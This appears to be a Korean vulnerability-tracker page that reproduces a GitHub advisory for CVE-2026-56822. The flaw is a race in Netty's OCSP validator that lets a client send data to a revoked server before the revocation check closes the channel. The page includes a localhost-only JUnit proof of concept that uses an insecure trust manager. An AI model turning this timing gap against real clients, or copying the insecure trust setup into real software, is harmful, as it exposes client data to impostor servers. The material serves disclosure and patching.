CVE-2026-56822HIGH· 7.4GHSA대응게시일: 2026. 07. 22.수정일: 2026. 07. 22.

Netty: TOCTOU in OcspServerCertificateValidator

위협 신호 · CVSS · EPSS · KEV

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CVSS

7.4high

이론적 심각도 점수

EPSS

—

예측 데이터 없음

KEV

미등재

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권장 대응 기한60일 이내CISA SSVC 기준

계획된 패치 주기 내 조치(60일 이내)

외부 노출· KEV 미등재 · 자동화 어려움 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로

공격 벡터네트워크

공격 복잡도높음

필요 권한불필요

사용자 상호작용불필요

범위불변

영향

기밀성 영향높음

무결성 영향높음

가용성 영향없음

버전별 점수

CVSS 3.17.4HIGH

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

상세 설명

Summary

Netty's OcspServerCertificateValidator forwards the SslHandshakeCompletionEvent before the asynchronous OCSP validation completes. This allows the client's downstream handlers to send sensitive application data (e.g., HTTP requests) to a revoked server before the channel is closed by the OCSP check.

Details

In io.netty.handler.ssl.ocsp.OcspServerCertificateValidator#userEventTriggered, when an SslHandshakeCompletionEvent is received, the validator immediately calls ctx.fireUserEventTriggered(evt). It then initiates an asynchronous OCSP query using OcspClient.query.

Because the handshake completion event is forwarded immediately, downstream handlers in the client's pipeline are notified that the TLS handshake is successful. They may then begin reading and processing incoming application data or sending outgoing data. If the OCSP response later indicates the server's certificate is REVOKED, the validator closes the channel, but by this time, the client may have already leaked sensitive data to a revoked server or processed malicious responses from it.

PoC

text

 1    @Test
 2    public void test() throws Exception {
 3        EventLoopGroup group = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());
 4        try {
 5            OCSPRespBuilder respBuilder = new OCSPRespBuilder();
 6            OCSPResp response = respBuilder.build(OCSPRespBuilder.INTERNAL_ERROR, null);
 7            byte[] responseEncoded = response.getEncoded();
 8 
 9            IoTransport mockTransport = IoTransport.create(group.next(), () -> {
10                NioSocketChannel channel = new NioSocketChannel();
11                channel.pipeline().addFirst(new ChannelOutboundHandlerAdapter() {
12                    @Override
13                    public void connect(ChannelHandlerContext ctx, SocketAddress remoteAddress, SocketAddress localAddress, ChannelPromise promise) {
14                        promise.setSuccess();
15 
16                        ctx.executor().schedule(() -> {
17                            ctx.pipeline().fireChannelActive();
18 
19                            DefaultFullHttpResponse httpResponse = new DefaultFullHttpResponse(
20                                    HttpVersion.HTTP_1_1, HttpResponseStatus.OK, Unpooled.wrappedBuffer(responseEncoded));
21                            httpResponse.headers().set(HttpHeaderNames.CONTENT_TYPE, "application/ocsp-response");
22                            httpResponse.headers().set(HttpHeaderNames.CONTENT_LENGTH, httpResponse.content().readableBytes());
23 
24                            ctx.pipeline().fireChannelRead(httpResponse);
25                        }, 500, TimeUnit.MILLISECONDS);
26                    }
27                });
28                return channel;
29            }, NioDatagramChannel::new);
30 
31            X509Bundle caRoot = new CertificateBuilder()
32                    .algorithm(CertificateBuilder.Algorithm.rsa2048)
33                    .subject("CN=TrustedRootCA")
34                    .setIsCertificateAuthority(true)
35                    .buildSelfSigned();
36 
37            GeneralName ocspName = new GeneralName(GeneralName.uniformResourceIdentifier, "http://localhost/");
38            AuthorityInformationAccess aia = new AuthorityInformationAccess(new AccessDescription(AccessDescription.id_ad_ocsp, ocspName));
39            X509Bundle targetCert = new CertificateBuilder()
40                    .algorithm(CertificateBuilder.Algorithm.rsa2048)
41                    .subject("CN=TargetServer")
42                    .addExtensionOctetString("1.3.6.1.5.5.7.1.1", false, aia.getEncoded())
43                    .buildIssuedBy(caRoot);
44 
45            SslContext serverSslCtx = SslContextBuilder.forServer(targetCert.getKeyPair().getPrivate(), targetCert.getCertificate()).build();
46 
47            CopyOnWriteArrayList<String> receivedData = new CopyOnWriteArrayList<>();
48            CountDownLatch dataReceivedLatch = new CountDownLatch(1);
49 
50            new ServerBootstrap()
51                    .group(group)
52                    .channel(NioServerSocketChannel.class)
53                    .childHandler(new ChannelInitializer<SocketChannel>() {
54                        @Override
55                        protected void initChannel(SocketChannel ch) {
56                            ch.pipeline().addLast(serverSslCtx.newHandler(ch.alloc()));
57                            ch.pipeline().addLast(new SimpleChannelInboundHandler<ByteBuf>() {
58                                @Override
59                                protected void channelRead0(ChannelHandlerContext ctx, ByteBuf msg) {
60                                    receivedData.add(msg.toString(CharsetUtil.UTF_8));
61                                    dataReceivedLatch.countDown();
62                                }
63                            });
64                        }
65                    })
66                    .bind(8080)
67                    .sync()
68                    .channel();
69 
70            SslContext clientSslCtx = SslContextBuilder.forClient()
71                    .trustManager(InsecureTrustManagerFactory.INSTANCE)
72                    .build();
73 
74            DnsNameResolver resolver = OcspServerCertificateValidator.createDefaultResolver(mockTransport);
75            Channel clientChannel = new Bootstrap()
76                    .group(group)
77                    .channel(NioSocketChannel.class)
78                    .handler(new ChannelInitializer<SocketChannel>() {
79                        @Override
80                        protected void initChannel(SocketChannel ch) {
81                            ch.pipeline().addLast(clientSslCtx.newHandler(ch.alloc(), "127.0.0.1", 8080));
82                            ch.pipeline().addLast(new OcspServerCertificateValidator(true, false, mockTransport, resolver));
83                            ch.pipeline().addLast(new ChannelInboundHandlerAdapter() {
84                                @Override
85                                public void userEventTriggered(ChannelHandlerContext ctx, Object evt) {
86                                    if (evt instanceof SslHandshakeCompletionEvent) {
87                                        SslHandshakeCompletionEvent sslEvent = (SslHandshakeCompletionEvent) evt;
88                                        if (sslEvent.isSuccess()) {
89                                            ctx.writeAndFlush(Unpooled.copiedBuffer("SECRET_DATA", CharsetUtil.UTF_8));
90                                        }
91                                    }
92                                    ctx.fireUserEventTriggered(evt);
93                                }
94                            });
95                        }
96                    })
97                    .connect("127.0.0.1", 8080)
98                    .sync()
99                    .channel();
100 
101            assertTrue(clientChannel.closeFuture().await(5, TimeUnit.SECONDS));
102 
103            Thread.sleep(200);
104 
105            assertFalse(receivedData.contains("SECRET_DATA"), "Server should not receive the data.");
106        } finally {
107            group.shutdownGracefully();
108        }
109    }

Impact

TOCTOU. Client applications relying on OcspServerCertificateValidator to enforce server certificate revocation are impacted. A malicious server with a revoked certificate can successfully establish a TLS connection and receive sensitive application data from the client (or send malicious data to it) during the window between the TLS handshake completing and the asynchronous OCSP check failing.

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참고 자료 4

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